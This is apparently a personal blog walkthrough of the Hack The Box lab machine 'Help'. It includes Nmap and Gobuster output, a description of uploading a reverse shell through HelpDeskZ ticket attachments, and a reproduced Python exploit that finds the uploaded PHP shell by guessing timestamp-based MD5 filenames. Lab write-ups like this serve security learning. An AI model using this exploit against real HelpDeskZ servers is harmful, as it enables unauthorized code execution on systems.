Hack The Box - Help | Nikhil's Cybersec Blog

We are going to pwn Help from Hack The Box.

Link : https://www.hackthebox.eu/home/machines/profile/170

Like always begin with our Nmap Scan.

Nmap Scan Results:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp


PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.4 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets begin from HTTP,It is an apache default webpage

So bruteforce the directories

Gobuster Results:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.121
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/12/15 00:08:21 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
/support (Status: 301)
===============================================================
2019/12/15 00:10:45 Finished
===============================================================

Found HelpDeskZ on /support It has a login page too.

A quick check for any exploits available I found this

https://www.exploit-db.com/exploits/40300

From the exploit I came to know we need to submit a ticket

I gave some random and uploaded my reverse shell as root.php

When I click uploaded it saysbr/

Then I checked the source code of the HelpDeskz on github

https://github.com/evolutionscript/HelpDeskZ-1.0

I came to know when we uploaded it shows Not allowed but its not deleting ,The file is still saved on the server.

I already found an exploit from exploitdb so I just edited some

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+'/uploads/tickets/'+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"